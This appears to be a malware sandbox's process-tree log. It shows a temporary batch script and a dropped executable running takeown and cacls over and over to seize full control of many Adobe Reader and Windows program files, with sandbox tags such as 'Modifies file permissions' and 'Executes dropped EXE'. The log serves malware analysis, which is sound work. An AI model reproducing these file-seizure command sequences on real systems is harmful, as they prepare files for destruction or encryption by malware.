C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ZX______.PFB" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "brt04.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "brt04.hsp" -nobanner4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "engphon.env" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "engphon.env" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "qmgr0.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "qmgr0.dat" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner5⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\fr-FR\WinMail.exe.mui"3⤵
- Executes dropped EXE
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "JNTFiltr.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\es-ES\Journal.exe.mui""2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\Journal.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\Journal.exe.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\fr-FR\PDIALOG.exe.mui""2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\jnwmon.dll.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\jnwmon.dll.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\jnwmon.dll.mui" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Genko_2.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Genko_2.jtp" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Genko_2.jtp" -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Genko_2.jtp"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\en-US\msoeres.dll.mui" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\wab.exe""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wab.exe"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "wab.exe" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "email_all.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "open_original_form.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "open_original_form.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "rss.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "rss.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "SY______.PFM" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "SY______.PFM" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "can129.hsp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "can129.hsp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "icudt26l.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "icudt26l.dat" -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "CP1258.TXT" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "CP1258.TXT" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "wabmig.exe" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
